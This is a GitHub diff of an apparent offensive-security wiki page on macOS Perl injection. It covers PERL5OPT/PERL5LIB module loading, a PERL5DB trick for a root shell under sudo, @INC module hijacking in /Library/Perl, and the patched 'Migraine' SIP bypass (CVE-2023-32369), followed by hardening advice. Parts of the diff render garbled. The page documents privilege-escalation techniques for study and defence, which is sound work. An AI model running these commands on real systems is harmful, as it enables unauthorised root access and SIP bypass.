You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
+55-13Lines changed: 55 additions & 13 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -4,7 +4,7 @@
4
4
5
5
## Via `PERL5OPT` & `PERL5LIB` env variable
6
6
7
-
Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.\
7
+
Using the env variable **`PERL5OPT`** it's possible to make **Perl** execute arbitrary commands when the interpreter starts (even **before** the first line of the target script is parsed).
8
8
For example, create this script:
9
9
10
10
```perl:test.pl
@@ -28,21 +28,35 @@ system('whoami');
28
28
1; # Modules must return a true value
29
29
```
30
30
31
-
And then use the env variables:
31
+
And then use the env variables so the module is located and loaded automatically:
32
32
33
33
```bash
34
-
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
34
+
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
35
35
```
36
36
37
-
##Via dependencies
37
+
### Other interesting environment variables
38
38
39
-
It's possible to list the dependencies folder order of Perl running:
39
+
***`PERL5DB`** – when the interpreter is started with the **`-d`** (debugger) flag, the content of `PERL5DB` is executed as Perl code *inside* the debugger context.
40
+
If you can influence both the environment **and** the command-line flags of a privileged Perl process you can do something like:
41
+
42
+
```bash
43
+
export PERL5DB='system("/bin/zsh")'
44
+
sudo perl -d /usr/bin/some_admin_script.pl # will drop a shell before executing the script
45
+
```
46
+
47
+
***`PERL5SHELL`** – on Windows this variable controls which shell executable Perl will use when it needs to spawn a shell. It is mentioned here only for completeness, as it is not relevant on macOS.
48
+
49
+
Although `PERL5DB` requires the `-d` switch, it is common to find maintenance or installer scripts that are executed as *root* with this flag enabled for verbose troubleshooting, making the variable a valid escalation vector.
50
+
51
+
## Via dependencies (@INC abuse)
52
+
53
+
It is possible to list the include path that Perl will search (**`@INC`**) running:
40
54
41
55
```bash
42
56
perl -e 'print join("\n", @INC)'
43
57
```
44
58
45
-
Which will return something like:
59
+
Typical output on macOS 13/14 looks like:
46
60
47
61
```bash
48
62
/Library/Perl/5.30/darwin-thread-multi-2level
@@ -56,20 +70,48 @@ Which will return something like:
56
70
/System/Library/Perl/Extras/5.30
57
71
```
58
72
59
-
Some of the returned folders doesn't even exist, however,**`/Library/Perl/5.30`** does **exist**, it's **not****protected** by **SIP** and it's **before** the folders **protected by SIP**. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.
73
+
Some of the returned folders don’t even exist, however **`/Library/Perl/5.30`** does exist, is *not*protected by SIP and is *before* the SIP-protected folders. Therefore, if you can write as *root* you may drop a malicious module (e.g. `File/Basename.pm`) that will be *preferentially* loaded by any privileged script importing that module.
60
74
61
75
> [!WARNING]
62
-
> However, note that you **need to be root to write in that folder**and nowadays you will get this**TCC prompt**:
76
+
> You still need **root** to write inside `/Library/Perl`and macOS will show a**TCC** prompt asking for *Full Disk Access* for the process performing the write operation.
For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` containing attacker-controlled code.
65
79
66
-
For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` to make it execute arbitrary code.
80
+
## SIP bypass via Migration Assistant (CVE-2023-32369 “Migraine”)
67
81
68
-
## References
82
+
In May 2023 Microsoft disclosed **CVE-2023-32369**, nick-named **Migraine**, a post-exploitation technique that allows a *root* attacker to completely **bypass System Integrity Protection (SIP)**.
83
+
The vulnerable component is **`systemmigrationd`**, a daemon entitled with **`com.apple.rootless.install.heritable`**. Any child process spawned by this daemon inherits the entitlement and therefore runs **outside** SIP restrictions.
Because Perl honors `PERL5OPT` (and Bash honors `BASH_ENV`), poisoning the daemon’s *environment* is enough to gain arbitrary execution in a SIP-less context:
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
98
+
open -a "Migration Assistant.app"# or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
99
+
```
100
+
101
+
When `migrateLocalKDC` runs, `/usr/bin/perl` starts with the malicious `PERL5OPT` and executes `/private/tmp/migraine.sh`*before SIP is re-enabled*. From that script you can, for instance, copy a payload inside **`/System/Library/LaunchDaemons`** or assign the `com.apple.rootless` extended attribute to make a file **undeletable**.
102
+
103
+
Apple fixed the issue in macOS **Ventura 13.4**, **Monterey 12.6.6** and **Big Sur 11.7.7**, but older or un-patched systems remain exploitable.
104
+
105
+
## Hardening recommendations
106
+
107
+
1.**Clear dangerous variables** – privileged launchdaemons or cron jobs should start with a pristine environment (`launchctl unsetenv PERL5OPT`, `env -i`, etc.).
108
+
2.**Avoid running interpreters as root** unless strictly necessary. Use compiled binaries or drop privileges early.
109
+
3.**Vendor scripts with `-T` (taint mode)** so that Perl ignores `PERL5OPT` and other unsafe switches when taint checking is enabled.
110
+
4.**Keep macOS up to date** – “Migraine” is fully patched in current releases.
111
+
112
+
## References
113
+
114
+
- Microsoft Security Blog – “New macOS vulnerability, Migraine, could bypass System Integrity Protection” (CVE-2023-32369), May 30 2023.
0 commit comments